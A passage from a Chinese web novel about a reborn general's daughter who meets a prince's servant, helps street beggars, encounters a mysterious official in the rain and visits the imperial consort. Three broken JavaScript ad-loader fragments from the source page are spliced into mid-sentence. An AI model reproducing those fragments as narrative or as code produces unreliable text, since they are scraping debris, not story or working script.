存了疑虑,岑听南抬眼望向母亲,见母亲神色平常,便试探道:“母亲不想我去?” 宋珏点点头,又摇摇头:“本是欲替你回绝的,你这泼皮性子,若是进了宫不知天高地厚,你父兄又出征在即……可如今,你倒是懂事了许多,于情于理,也该去的。” 岑听南顿时心下了然。 这位孟贵妃,也是个顶有名的人物。闺名瑶光,是当今圣上放在心尖尖上的青梅竹马,虽不知她为何突然传见,但岑听南想去试着探一探陛下对父兄的态度。 不过是个深宫,哪怕前头是龙潭虎穴,为了父兄,她也是要闯上一闯的。 这厢琉璃已经替她备好了出行的头面,过来唤她。 宋珏只扫了一眼,便觉太阳穴突突直跳:“上回你扮男子,将镇国公的孙女调戏了一番,人家以为是你阿兄干的好事,找上门来要联姻;再上一回你扮男子,同大理寺卿家中三郎拜了把子,三郎提着酒找到你阿兄,两人闹了个大乌龙。” “今次——你又想干什么?” 岑听南面上一红,往外走的脚步却快了些:“今次……约莫还是要借一借阿兄名头,结交一个贵人的。” “哪位贵人?”宋珏不依不饶。 岑听南回头对母亲露出个笑:“娘亲放心,这次定然不惹事了。” 她想去拜访的是当今圣上的胞弟——只好诗酒文墨不好权势的九王爷。 也是爹爹战败后,朝堂上下唯一公然替父兄说过好话的人。 日头已然高升,橘色的光吻在岑听南如玉的脸颊上,抚弄细小而可爱的短绒。 岑听南深吸了口气,大步迈入光里。 4. 连雨知春去(1) 此时节暮春与初夏接驳,日头晴好得满是希望。 路上见到的行人,面上也少有烦忧。 岑听南以白玉冠束起长发,一身象牙白镶金丝的锦衣随性勾勒出少年倜傥姿态——是她前世贪玩,惯常用来掩人耳目的行头。 从前喜欢得紧,重活一回再瞧来,方才知晓这一身伪装实在拙劣。 因她既未将两道新月般的蛾眉描摹成利剑般飒沓,又从未在姿态上学一学男子迈步时的有力,明眼人一打眼,便定知又是谁家高门贵女,闲来无事出门寻乐子。 那些所谓的玩世不恭与自诩风流,不过都是旁人见她穿戴不俗,愿意敬这锦衣三分薄面。 真不知从前她是怎么骗到那镇国公孙女,同大理寺卿家中三郎的。 大抵这俩也是个蠢的。 万象书斋里人来人往,却鲜有真正的达官贵人亲至,最多的便是穷书生与被主家遣来置书的小厮们。 岑听南带了玉珠、玉蝶出行,穿着与长相俱是不俗,若是混迹其中只怕显眼。 好在与书斋隔街相望的一排铺子,倒是有两间食店,位置不错,正对书斋,寻了临窗的位置便能将这边进出的人看个周全。 玉珠见岑听南对食肆若有所思,浑圆的一对黑眸登时便水汪汪泛起亮来,熟门熟路便要朝左侧那间门店更大的刘记食肆去。 谁知被岑听南笑着轻敲在头上:“今次不去刘记,去陈记。” 岑听南猝不及防转弯,去了右侧那间门店更小,瞧着人气却更旺的陈记食肆。 玉珠忙不迭跟上,一面还问:“姑娘平日里总说陈记的东家冷脸,不给姑娘好脸色看,怎么今日……” 刘记的东家原本守在门口,远远见了岑听南一行人,脸上的笑已经堆出褶子,腰也快弯到地里,迎客的话亦至嘴边,此刻却骤然打结。 吞也不是,吐也不是,不上不下卡在喉咙里,正难受得紧。 玉珠见了刘记东家这样,也跟着难受:“刘掌柜每回都给我们送点心、送吃食,还总夸姑娘是活菩萨,我们去他的对家……会不会不太好呀?” “这有什么不好的!”玉蝶抱着把剑,冷声道,“他从姑娘这里赚去的白花银子,可比外头市价贵上三倍,能不热心肠么?我说了多少次你们都不信。姑娘今日可算是清醒了。” 岑听南笑眯眯地:“是啊,可算将眼擦亮了。” 前世她只道刘记东家热言热语,每回来都将她夸得天上地下绝无仅有的,听了舒心,便爱来。 玉蝶多番提醒她,这掌柜的心术不正,总是成倍的收取银财,她却总是天真地道:“他们做生意也不容易,我既有钱,他又哄得我高兴,为何不能让他赚这银子呢?难道要我去隔壁陈记,见那陈姑娘的冷面才好吗。我是出来用膳的,不是来找气受的。” 她这样一说,玉蝶也就没话了。 若不是前世抄家那日,在羞辱她的人群里见到刘掌柜那张胖脸,今时今日,若全靠她自己一双蒙尘的眼,能不能辨明这难测人心实在还未可知。 岑听南低头缓缓吐出一口气,前世今生头一回迈入了陈记食肆中。 从前她嫌这边店面小,不肯来,如今瞧着,这巴掌大的店面里却处处都有玲珑巧思。 桌椅整洁,临窗的桌上置着新鲜采摘还带朝露的野花,鲜活又热烈,风一吹便将清淡的花香送入屋内,冲淡一室热食带来的浓烈气味。 叫人清爽不少。 临街的地方被店家置了蒸笼,氤氲的热气上腾,肉包的香味轻而易举便将行人馋虫勾引出来。 为这一口驻足的人早已在外头排起长队。 一个梳着随云髻簪着木钗的少女,正在蒸笼旁手脚利落地点单、打包、结账。 小麦色的脸颊上渗出因忙碌而晶莹的汗珠,只这样看着都叫人跟着生出一股劲儿来。 少女年纪不大,约莫十四五岁的样子,却正是这家小食肆的东家——陈二娘。 陈二娘略略抬头一看,见到满身贵气的岑听南,也不如何热情,仍旧淡淡唤人招呼她们落座。 玉珠偷察岑听南脸色,做好了自家姑娘随时生气即刻走人的准备,却不想岑听南一点异色都无,只是笑着同人道谢。 玉珠暗暗咂舌,今日一个上午她吃惊的次数简直要赶上从前一月了。 换做前世,岑听南定是要觉得自己被冷落了。 如今却觉得,这二娘不卑不亢,小小年纪独个儿将店铺打理得干净整洁,食物新鲜,来客数量更是隐隐能压上刘记一头——小姑娘真是有天大的本事。 是她眼拙。 她在家中陪母亲用过早膳才出门,这会儿吃不太下,问了两个丫鬟意思后,便只给二人一人点了一碗羊肉汤面,外加两只小包子,她和玉珠一人一只。 玉珠闻言瞪大了眼:“姑娘,咱们府上是要落魄了么?” 她何曾见过姑娘数着人头点吃食! 岑听南:“五谷来之不易,吃不下就莫要浪费了。” 玉珠半懂半茫然地点了点头,不知是否是岑听南的错觉,说完这话,蒸笼边忙碌的二娘倒是望了她一眼,目光比刚进店时柔和不少。 食物上得很快,玉珠只吃了一口,便嫌不过瘾,干脆将海碗捧起来吃得见底,连汤都喝了个精光。 甚少在意口腹之欲的玉蝶也直道这边东西好吃,比刘记好吃不知多少倍,分量又大。 岑听南见玉蝶这时候还不忘踩刘记一脚,不由哑然失笑。 想来从前她独断专行,三个丫鬟跟在她身边是受了不少委屈的,日后得寻着机会补上。 岑听南捡了一只包子,一点点撕着皮吃。珍惜食物是一回事,但自小骨子里养出的娇气,一时半会儿却难改。 优雅贵气得同这店面不太相衬。 好在食客们都是来去匆匆,各有各的事要忙,并不如何在意临窗三人。 才半只包子下肚,玉蝶凝神道:“姑娘瞧,是九王爷身边小厮。” 等了一个早上的人终于出现,岑听南瞧着手中剩下的包子为难,而那头小厮已经买完书出了书斋,只好扭头冲二娘道:“二娘……替我留一留这包子罢。” 说完匆匆行去书斋,只留玉珠结账,顺便等那半只肉包。 她准备同九王爷搭上线的方式很直接。在家中已与玉蝶演练过数回,此刻作来轻车熟路。 岑听南觑着小厮自身边行过,唰一声打开手中折扇,不疾不徐行过书斋,面露怨色:“昨日阿兄出门前给我那本《尉迟十略》实在晦涩,这行军打仗怎可纸上谈兵,简直荒唐,我才不看呢。” 玉蝶摇头,神色冷峻:“传闻《尉迟十略》是那位战无不胜的尉迟大将军亲手留下的兵书,世间孤本。二公子不可任性。” 提及“孤本”二字,玉蝶按照岑听南嘱咐,微微提高了声量。 岑听南以扇掩面,侧眼看去,果然见到小厮离去的步伐生生顿住,眼里闪着喜色朝她们行来。 岑听南收扇牵唇:鱼儿上钩了。 …… 发展如预料,岑听南状若不经意地同小厮表明,自家兄长去了兵营,在离家前留了这兵书给她。 小厮名唤容五,赵小在九王爷 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 身边长大,也不是个蠢的,听到兵营二字稍加思索,便道:“兵营……难道是镇北大将军府的公子?可听说将军膝下是一位郎君一位女娘……” 话未说完就住了嘴,带着探究看向岑听南。见岑听南含笑不作声,只略略一点头。 容五便彻底了悟过来,这兵书原是在将军府二小姐手中呢。 虽说女子声誉要紧,若要与之结交,可比同岑小将军来往难多了,但也因着眼前这贵人是女子,又实实在在免了结党嫌疑——尤其自家王爷被宫中那位看得正紧呢。 这孤本王爷寻了许久,却不想在此处有了消息。 容五按下兴奋,恭敬道明身份,终于得到岑府二小姐的首肯,愿意将这孤本借与王爷府抄录。 只见二小姐微扬起下巴:“我家中孤本多得很,不差这一本,你们王爷既然喜欢,借与你们抄录也不是不行。只是……得你们王爷同我亲眼瞧着你们抄录,且这孤本只能你们家王爷一人翻阅,绝不能流传于世。” 这跋扈性子,倒是同传闻中别无二致。 容五闻言犯了难,他哪里敢替主子做这样的决定。 二小姐又道:“我也不为难你,你尽管去秉明你们主子,若是王爷有意,差你来将军府说一声便是。” 容五眼中一亮,连忙千恩万谢,此刻只觉岑家二小姐不仅人生得艳丽端方,连这性子也是一等一的好,一等一的为人着想,外头怎么能尽是姑娘的谣传呢! …… 等到王府小厮走远了,玉珠抱着怀中油纸袋,委委屈屈跟过来:“姑娘,包子都凉了。” 岑听南心情极好地摸了一把她的脸:“不打紧,这半只带回府中喂阿旺。你去问问二娘可还有多的包子,一并买了带回府中,给小厮丫头们加餐吧。” 玉珠欢天喜地去了。 玉蝶:“有时候真羡慕她脑子里只有吃食。” 岑听南:“这才好呢,瞧你和琉璃,不过比她大了半岁,可多操了多少心。” 玉蝶一愣:“这不是做奴婢应该的吗?” “哪有什么应该不应该。”岑听南摇了摇头,温声道,“人最该的是为自己好好活着。” 玉蝶眼里写满了迷茫,岑听南却没再说别的。有些道理,她也是多活了这一世才知晓了个囫囵。 又哪有什么资格去指点别人的一生呢。 她这一世,能守住一家人的平安就足够了。 …… 事情进行得顺利,这回程的路上却不大顺。 初夏的雨来得急切。 不复春雨的温柔绵密,黑云沉甸甸挂在空中,蜿蜒的闪电似银蛇炸开在头顶上。 行人都匆匆跑起来。 她们三人带着外食,又图便利没乘马车出行,眼见骤雨鼓点般顷刻落了下来,只好被雨势驱赶着挤进街边檐下,耐心等待雨停。 玉蝶护着岑听南,自己半边身子都湿了,岑听南却连根头发丝儿都没乱。 “回府后一定记得用碗姜汤。”岑听南有些心疼道。 玉蝶浑不在乎:“姑娘别淋到就好。” 自家姑娘这身子最是娇贵,自从三岁那年在宫宴上落了水后,就留下了病根,此后几乎一淋雨就发高热,好几回险些丢了命。全府上下最怕便是她受寒、淋雨。 “嗤,你们这些千金小姐,可真是好命。雨淋不得,风吹不得,真真是叫人羡慕。”一道突兀的声音自檐下响起。 落在耳中,酸涩又阴鹜,如毒蛇蚀骨。 岑听南侧头望向声音来处,只一眼便愣在原地。 她记得这人。 5. 连雨知春去(2) 声音的主人是个约莫十来岁的乞儿,正蹲在檐下角落处,阴沉沉看着她们。 他背后还畏畏缩缩躲着两个更小一点儿的乞儿,同他一般瘦骨嶙峋,不说话,直勾勾望着玉珠怀中油纸,眼里有精光闪烁。 说话的那个乞儿脸上一道极深极丑的疤,自左上延展至右下,横贯了他整幅面孔,瞧着骇人得紧。 是以岑听南前世虽只是坐在马车中遥遥望见过一回,却对这张脸记忆犹新。 那日这乞儿跪在大道边,对着来来往往的马车疯了一样叩头。 许是想对贵人们祈求些什么,却被巡城司的人用戒棍粗鲁又残暴地驱赶。像是在驱赶什么肮脏的兽类,唯恐污了显贵们出行的路。 岑听南被他异样面容吓到,也被巡城司手段骇住,躲在马车中既惊又怕地放下车帘,侧头躲开了这人毒蛇般阴鹜怨憎目光。 那时的她心头是什么感受呢?她已有些记不大清了。 如今想来,对视那瞬流露出的惊惧嫌恶,定是落入了这乞儿眼里心头的罢。 他定然是不好受的。 “呀,怎么此处这么多乞儿,巡城司的人呢?”玉珠抱着油纸,后退几步躲在玉蝶身旁,将怀中肉包藏得更紧了些。 玉蝶怀中利剑竟直接出鞘,泛着冷冽银光,唰一声架在乞儿脖颈之上,几乎要嵌进肉里。 “别伤人。”岑听南已略皱起了眉。 两个丫鬟自小在她身边一同长大,观二人反应,便能将自己从前行事风格看清七八分。 十成十的跋扈、嚣张……与不通人情。 乞儿咧开嘴,讥诮道:“贵人就是贵人,此等实话怎能由我等贱民口中说出呢,岂不冲撞了贵人?” 这话可谓不敬,玉珠气道:“我家姑娘金尊玉贵,自然雨打不得风吹不得,你当谁都同你这乞儿一般?” 玉蝶亦是生了恼意,可她从不违背自家姑娘指令,第一时间撤剑回鞘。 雨势愈大,落在尘土中溅起泥泞,染污了雨中行人裙摆衣袂。 岑听南不准备同乞儿当街纠缠,对玉珠使了个眼色,示意她将怀中肉包分给几个乞儿。 就当补上前世那未结成的善缘。 玉珠不情不愿,慢慢吞吞上前,然而变故在此刻陡生。 两个小些的乞儿觑准时机,躬身狠狠冲撞上前,一个身体向内紧缩,以肩膀抵着玉珠腰间,将她撞得吃痛惊呼,手中油纸包亦是撞飞出去! 若不是玉蝶眼疾手快,以佩剑横拦,略微阻了玉珠后仰趋势,只怕她当场便要被撞翻过去。 少说也得在床上静躺几日。 再观两个小乞儿,已如饿虎扑食,将掉落一地的肉包拾起,不顾泥土狼吞虎咽全部塞进嘴里! 即使哽得翻起白眼来,手中速度也未减弱半分。 一面吃,一面还用狼一样防备地目光看着玉蝶。 “狗崽子!”玉蝶彻底被惹恼,拔剑欲刺,却被角落阴森注视着的那乞儿一个石子将剑尖弹开了去。 “住手。”岑听南喝住玉蝶,确认玉珠没有大碍后,这才看向乞儿,“你会武功,还读过书?” 乞儿未曾预料她有此一问,愣神过后见她不欲追责,眼中怨恨倒是悄然散去些,迟疑半晌,终究缓缓点了点头。 岑听南:“既然读过书,你应当知晓偷窃不是长久之计。” “我们可没偷。”乞儿眼睛斜斜朝一旁睨去,并不服气,“是你的丫鬟自己拿不稳,我们不过凭自己本事。” “你放屁!”玉珠气得要去咬人,被玉蝶半揽在怀里按住。 岑听南平静注视他:“你的确有本事,可用错了地方。难道你能带着你这两个小弟靠偷靠抢活一辈子?今日是我不愿同你计较,否则我叫来巡城司的人,当下便能将你们三人捉进牢里,或是赶出城外。届时,你们又去哪里求条活路。” “你这话说得,倒好似我应该谢你不追究了?!”乞儿被她说得捏紧了拳头,胸膛急剧起伏,像是被戳中了痛处,可不过须臾整个人又卸了劲儿似的松下来。 他扭过头去,良久才哑声道,“你当谁生来便愿做乞儿,愿做窃贼么?” “不是谁都同你一般,有个含着金汤匙不用偷窃的好出生。”乞儿回望进岑听南眼中,眼里满是不屑,“收起你高高在上的假慈悲吧。” 假慈悲么?岑听南笑起来,若是从前的她,可真是连这点假慈悲都不屑有。 这乞儿倒是有一点说得对,她实在有个好出生。这天底下不公不平的事何其多,可爹爹将她护得极好,让这些不公不甘不清不白的事从未落入过她的眼中半分。 才叫她真以为这盛乾王朝的朗朗乾坤之下,人人都过得幸福而富足。 人人生来便如她一般有饭吃,有衣穿,有爹娘疼爱。 可其实,不是这样的。 不是所有人,生来就有父母怜惜的。 也不是所有父母,都能如大将军一般,抬手便为子女撑起一片朗朗天地。 尽管他们也很想,但他们不能。 而今时今日岑听南会失心疯一般管这样一桩闲事,不过是因为她终于懂得。 懂得野草充饥雪水生津的滋味,懂得了趴伏在尘土里看人的屈辱,更懂了被人踩在脚下一寸寸碾断自尊的那种绝望。 她在这乞儿眼中看见了同样的不甘与带着死意的绝望。 可那时的她,并没有人来帮一帮。 “随你怎么想。”岑听南不动声色收起怅惘,“若你厌倦这样的生活,想给自己站着挣条出路,便来将军府寻我。我每月给你一定数额的银两,你用这银两去做买卖或是别的什么都好。但最多只三个月,三个月后,我便不再管你。能不能改命便全看你自己了。” 如今将军府还未没落,若只是简单养几个乞儿倒也不是什么难事。 岑听南打算头几月救济一番,待这乞儿自己度过难关后,再止了救助,勉强也算得上一桩好事。 只是日后能不能活出个人样来,还端得看这乞儿自己心性如何。 乞儿一时没有言语,岑听南也料想如此,并不如何在意。她抬眼看了天色,见此刻骤雨已渐渐止住势头,唯剩屋檐上滴答垂落的雨帘,将路人与她们隔绝,如梦似幻地看不真切。 “走罢。”她轻声道。 “我还道这上京城中何时出了个菩萨般的人物,原来竟是我们大将军府上顶顶尊贵的二姑娘。”一道尖而细的戏谑声由远及近落入岑听南耳中,“怎么今日倒转了性,当起好人来了?依照我们岑二姑娘的性子,不应该遣人将这三个乞儿直接赶去城外,免得污了你的眼么?” 只听声音,岑听南便知来人是谁。 兵部侍郎王元武德嫡女王初霁,前世跟她就是彻头彻尾的冤家。自从七岁那年探春宴上被岑听南抢了风头后,不知记恨了她多久,上京城里大大小小的宴会只要有岑听南在的,王初霁必定到场纠缠。 倒是没少让上京城的显贵们看笑话。 岑听南在心中翻了个白眼,暗道今日真是出门没看黄历。 “你走什么走!我跟你说话呢,没听见吗?”擦肩而过,王初霁一时气急,竟直接上手抓住岑听南的手腕! 这人一身牛劲,捏得岑听南手腕一圈霎时便红了。 岑听南只得驻足叹气:“从七岁第一次见面开始,你就说不过我,说不过还要来惹,回头又要跟你爹告状,你爹又要去朝堂之上阴阳怪气地找我爹麻烦……你们两父女实在是烦得很。我今日还有事,你最好赶紧放开我。” 说着岑听南将手腕一扬,本是象征性地想叫她松开,却不想竟真的将人扬了个趔趄。王初霁手中伞跟着一歪,伞上存积的雨水泰半便落到了岑听南身上,将她浇了个透心凉。 “活该。”王初霁幸灾乐祸。 “姑娘!”玉珠玉蝶担忧地围拢过来,玉蝶更是一副想拼命的冷脸,被岑听南拉住才勉强作罢。 岑听南略有些狼狈地打了个寒颤,后知后觉注意到,今日王初霁竟没带小厮丫鬟,反倒是亲自执了伞走在雨中——身侧还跟着个眉目疏冷,周身都透着矜贵的郎君。 这郎君形容清隽,一双黑眸却深而沉,若有所思地盯着岑听南,目光好似透着风雪,叫她忍不住又是一个冷颤。 上京城里有这么一号人物么? 岑听南目光下移,却在见到这公子玄色衣袍上熟悉的银边竹叶纹时彻底愣住。 竹叶纹并不算多么时兴的纹样,却胜在清隽雅贵,喜好这纹路的读书人也不算少。 只是这纹路,倒教岑听南想起前世于她有一笼之恩的那位故人。 会是眼前人么? “你在看什么?”王初霁颇不满地打断岑听南的沉思,“落汤鸡一样丑,赶紧回府去吧, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 少在外面给大将军丢人了!” 说着她身子微不可察朝一旁侧了侧,不动声色挡住男子与岑听南之间的目光流转。 “原来是岑二姑娘。”男子闻言却眉目舒展,将一身风雪抖落似的,“暮春雨急,切莫着了凉。” 这声音听着,倒比本人看起来要温和好亲近些,落在岑听南耳中还有些莫名的熟稔。 好似在何处听过一般。 男子又唤来小厮,嘱咐几句。 不大会儿小厮便寻来一把伞与柔软的斗篷,恭敬递到玉珠面前。 玉珠犹疑着看向岑听南,不敢贸然接下。 “敢问公子姓名?” “乘我的马车回去。” 两人声音同时响起,王初霁脸色立时臭了几分,握着伞柄的手也愈发用力,连筋骨都突出。 岑听南:“离府上不远,就不劳烦了。” “你披着男子的斗篷。”男子话不多,却透着股不容拒绝的劲。 王初霁被两人无视,脸色愈发难看。 这反应落在岑听南眼中,却不甚正常。 能让兵部侍郎嫡女这样殷勤对待的青年男子,整个上京城怕是也没几个。 这王初霁连大将军的女儿都敢惹,此刻却对眼前这人有些说不清道不明的……顺从?又甚或还有几分爱慕? 岑听南疑心自己错看了。 这人到底是谁? “至于他们……”那男子目光转向一旁角落的三人,神色淡了不少,“你虽是好意,用的法子还得斟酌。” 岑听南本已陷入斗篷的柔软中了,闻言顿时有些抗拒。 什么叫法子还得斟酌? 她一没直接给钱,二没直接给吃食,既帮了他们度过难关,又全了乞儿面子,还要如何? 这斗篷温温暖暖地披在她身上,此刻却叫她取也不是,扔开也不是。 一时僵持在原地,抬起头不悦地看了男子一眼:“哦?公子既如此瞧不上我的法子,不如说说你的高见?” 岑听南反复犹疑的小动作落在顾砚时眼中,实在好笑。 这岑二姑娘的娇名传遍上京,连他同当今圣上乾云帝都有所耳闻,两人闲来对弈时也曾提及过。 乾云帝抚着掌笑:“未曾想过名震天下的镇北大将军竟养出这么个心性简单的娇女。” 又说:“也不知是好是坏。” 顾砚时看着黑白分明的棋子,只道:“大将军疼女儿。” 乾云帝起身立于窗边,背对顾砚时良久,低声叹道:“子言……朕的后宫,实在容不下更多人了。” “臣的家中,倒还缺个当家主母。” 顾砚时弃了子,疏月般的目光落在棋上,实在看不出悲喜。 那日,也下着同今日一般的雨。 …… 顾砚时看着岑听南:“这乞儿读过书,也学过武。或许曾经家世不俗,如今却落得行乞,你可想过为何?” 岑听南:“……” 顾砚时又道:“他缺的不是银子。” 是庇佑。 顾砚时转向乞儿:“岑二姑娘今日既愿给你这桩庇佑,我便有处差事允你——先别急着抗拒。无论你身上有什么麻烦事,在我眼中,都不算麻烦。” “这份差事很难,俸禄却不多。” “可我想你身后担着的,也不只这两个小的。” “路已经给你了,若你最终决定要走,这桩情分……你得记在岑二姑娘身上。” 岑听南一愣:“不必。” 顾砚时看进她眼中,轻描淡写:“若非你起了善念,这桩事我是没有兴趣管的。” 岑听南此刻其实已经明悟过来自己这个做法的疏漏之处,只是难得做回好事,还被人截了胡,心里还残存了些许别扭不知如何应对,就见眼前男子意味不明勾了勾唇。 落在岑听南眼中,便好似这场春雨般。 叫人意外,又轻轻扰乱心神。 等岑听南再回过神,便只见到他修竹般的背影,行在濛濛雨雾中,清而冷,疏而远。 王初霁恨恨瞪她一眼,踮起脚拎着裙摆,一手执伞小跑着跟了上去,他却并不搭理,从头至尾只好似没见到王初霁般。 真是个怪人,岑听南想。 此刻屋檐外,已是雨后初霁。 也不知,这怪人,是不是故人。 6. 连雨知春去(3) 回到家中,雨已停了许久。 宋珏担忧女儿受寒,早早命人备好姜茶、热汤,亲自候在门口,见到三人果然形容狼狈地回来了。宋珏脸上露出一副瞧瞧,还好为娘早有预料的样子,叫她们先去沐浴更衣。 “怎么明明是个女儿家,却比你阿兄还顽劣,身子最弱是你,满上京闹腾的还是你。”等岑听南换好衣物来到前厅,宋珏递摇头叹叹气,又递过去一杯姜茶。 虽说着责备的话,面上却是挂着再宠溺不过的笑意。 岑听南从前不懂,被母亲说几句势必要顶嘴回去,如今却晓得了其中厚重情意,连忙依偎过去,同母亲撒娇:“女儿就是顽劣啊,所以还得阿爹阿娘阿兄看顾我一辈子呢。” 宋珏讶异地挑起眉:“怎么今日不和我对着吵了?” 岑听南笑了笑:“我以后一定少气娘。” 宋珏听出了这话里丝丝缕缕的怅惘,却不知从何而来,只好拍了拍女儿肩头,像小时候那样哄着:“等你父兄归来,早日给你寻个如意郎君,有你相公看顾,我们也放心许多。” 岑听南垂眸不语,心道她怕是等不及父兄归来送她出嫁了。 一提起这话题,就不免想起书房里那一封封信,岑听南倒是起了打探的心思,心念一转,做出一副娇羞的形容看向宋珏:“阿娘,上月来府中那位左相……可有再来过?” 宋珏好笑地看她一眼:“没来过。” “怎么突然又提起左相,不是你说人家又老又浪荡,配不上你?”宋珏顿了顿,“难不成那日……你不过是害羞?” 岑听南猝不及防被母亲一调侃,姜茶噎在喉头,连呛好几下。 琉璃在旁替她抚背顺气:“姑娘仔细呛着,慢慢喝。” 岑听南摆摆手,讪讪道:“不妨事,不妨事。” “不逗你了。”宋珏这才放下茶盏,慢条斯理道,“人虽未再来过,倒也未曾言弃,每过几日便来一封书信,只说求娶的心不改。” “你这是,回心转意了?”宋珏语气郑重了些。 岑听南思忖稍许,还是摇了摇头:“女儿是觉得,这事透着奇怪。那左相从前的市井传闻从来只说他冷情冷面、手段狠厉,去岁……亦或是前岁?这才突然有风声传出,说左相好娇软美人,来得也太突然。” 简直……像是为她量身炮制的传闻。 宋珏却迟疑:“世间男子喜好,大抵如此。” “谁说的?我爹就不喜欢这样的!”一道清朗的声音遥遥自院中传来,院中人的目光便都被吸引过去。 来人剑眉星目,一身戎装,乌发一丝不乱束得齐整,腰间挂着银剑,大步行来只见飒沓。 这位身姿挺拔的少年将军冲母女二人眨眨眼:“更巧的是,我也不喜欢这样的。” 岑听南抬起头,眼圈已经红了……是她已有三年未见且险些再也见不到的阿兄啊。 此刻他还这样年轻,这样意气风发,还能带着又宠又纵的笑看她。 可前世,却不知死在了哪一处无人知晓的边境,尸骨有人收敛么?逢年过节有人祭拜么? 这些俱不能细想,每每想起来都叫她心口直疼。 岑闻远展臂接住突然扑过来的自家妹妹,骤然大笑:“爹回军营后一直念叨,直说你一觉醒来突然变了个人似的,不但变得爱哭了且一夜间懂事不少。起初我还不信,特意赶回来看看笑话,没想到这次咱爹真没骗人啊?” “谁惹你了,同阿兄说,我去收拾他!”岑闻远看见什么稀奇事似的,一面说,一面弯下腰非要看岑听南低垂下去的头,惹得她似笑非哭,不上不下的好生难受,硬是捏起拳头往他胸膛锤了一拳。 岑闻远挺胸向前一震,见岑听南吃痛惊呼,这才拉长嗓子道:“诶,这就对了嘛!这才是我那无法无天的娇纵阿妹嘛。” 岑听南瓮声瓮气地:“你回来就为了看我笑话?” “我来见见你到底怎么了,好叫我上了战场也没有后顾之忧。”岑闻远的声音软下来,看着岑听南的目光也变得认真。 岑听南甚少见到这样正经的阿兄,泪意涌上心头连绵不绝似的,但到底,还是吸口气忍住了。 她已不是前世那个娇滴滴只会躲在家人荫蔽之下的贵女了。 “嗯?怎么没哭?不好使啊?”岑闻远凑过来,“奇怪,我还道你若听见我如此感人的发言,定要扑过来哭得涕泗横流呢?我在心中演练了好久的!” 岑听南:…… 怎么突然有点想锤个什么东西。 岑闻远被岑听南瞪了一眼,乐不可支:“逗你的,前几日军中猎到几头鹿,大部分送进宫里了,爹特意留了一张小些的皮叫我送来给你们,熬胶最好了。” 岑听南一向不大喜欢这些东西,只觉残忍。 自己经历过生死后,就更不爱了,当下侧过头去不愿细看。 岑闻远笑着掐起岑听南的脸:“你这嫌恶的眼神都写脸上了,不知道的还以为谁欠你几千两白银。这臭脸,我瞧也就军营里今日来的那个小乞儿能同你比比了。” “小乞儿?”岑听南蹙眉拍掉他的手。 岑闻远放开她,大喇喇坐到宋珏身边,接过婢女呈上来的香梨,叼在嘴里咬得咔嚓作响:“唔,不知道谁寻了关系,塞了个脸上一道长疤的乞儿进营里,说是家中亲人都没了,来营中混口吃食。我瞧着,还是个百夫长亲自送去后军伙夫那边的。” “你给我坐好,吃个人样出来,行不行?”宋珏淡淡道,“既是乞儿,又怎么会有百夫长亲自护送。” 岑闻远勉强坐直了少许:“娘也觉得奇怪吧?不过娘放心,我出营前已命人去查了,出征在即,任何一点小动静都不能寻常待之。” 岑听南心都要揪起来了,所以今日她遇见那人到底是谁?她不过回来换个衣物的时间,他已经将人都送进军营之中了,朝中谁还能有这样泼天的本事? 瞧那人贵隽姿态,难道是哪位王爷? ……岑听南只觉心头寒意一层层上涌。 难道前世也有这样一桩事发生么? 不,应当不会的。 前世她甚至未同这个小乞儿有过交集,这乞儿自然不会被送至军营之中,更不会被留在离父兄这么近的地方! 岑听南抬起头,面色凝重:“阿兄,这人你定要叫人时时看顾,我怕他日后坏事,影响你们北伐大计。” 岑闻远点头:“娇娇儿放心,你阿兄省得。” 可岑听南还是不放心,追在他耳畔强调了一遍又一遍,直到说得岑闻远都没脾气了,赌咒发誓说自己定然注意,这才勉强肯信他半分。 而后一起用过晚膳,岑闻远本想在家中歇息一晚再走,却在岑听南声声要命的催促下,不得不连夜踏上回营路。 宋氏欣慰地看着岑听南:“娇娇儿真是懂事不少,如今是比你阿爹阿兄还要谨慎了。” 岑听南抬头看着天上星子:“现下危机四伏,小心些总是没错的。” “瞧你,又说什么胡话呢。”宋珏牵过女儿的手,握在掌心拍了拍,“万事有爹娘和阿兄替你撑着呢,娇娇儿只要一世都平安喜乐就好。” …… 翌日,天色不过蒙蒙亮,岑听南已坐上入宫华轿。 暮春的雨一旦下起来,就没完没了。隔着轿帘又见到淅淅沥沥的雨落在长街上,零星敲打着匆匆忙忙的行人。 轿夫走了不过一炷香的时间,随着行人渐渐愈少,四周愈静,岑听南便知宫门快到了。 不知是不是宫人们都认得接她这顶轿子,不但一路行来畅通无阻,偶然见到几个宫人都是远远就避开了轿子,若是来不及退避的,定然是扑通跪伏在了路边,恭恭敬敬送她们走出极远后,这才敢徐徐起身。 岑听南见了暗暗心惊,只道这孟贵妃果然是当今盛宠最眷的人。 朱红的宫墙厚重而肃穆,行走其中不见喧嚣,岑听南坐在轿中只觉死一般的寂静、枯燥。她只是走过这长长的宫门,便觉得一生活气都被生剥了下来似的。深宫那些无人问津的妃嫔们呢? 她们要如何才能捱过这漫长又凄冷的岁月。 花一般的年纪,便无声葬送了。 岑听南心头乱麻似的理不清,却不知瑶华宫中为了接待她这宫外来客,也是热闹得紧。 “窗棱都打开散气了,殿内布满了兰花,按照娘娘的吩咐也在角落处点上了银炭, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 将大殿烘得暖暖的,地龙也热着呢。只要这位姑娘不是心血来潮跳水里,奴婢都敢保证她绝不会受寒——娘娘,您瞧瞧还有什么不周到的地方么?”一个年长的嬷嬷微微弯了腰,轻声细语同榻上倚着的女子说着话。 这嬷嬷瞧起来慈眉善目,一看就是个好相与的性子。 “可她倒还真是个自己会往水里跳的性子。”榻上女子好似想起什么往事,敛眸抿了抿唇,霎时宫中琉璃都在这笑下失了颜色。 这位便是当今最受盛宠的贵妃——孟瑶光。 孟瑶光瞧着约莫二十七八岁的年纪,住在这镶满金黄琉璃瓦、水晶玉璧为灯的华贵宫殿中,穿得却简单,只一袭月白色的宫装,面上粉黛不施,倚在榻上如扶风弱柳。 更像这俗世中的一轮清月,眨眼便要散去,真叫人觉得只有天上那高而远的广寒宫才是她应有的归宿。 岑听南步入这奢华迷醉的瑶华宫中,初初还被繁华迷了眼。可只远远往榻上瞧了一眼,就再看不见别的了。 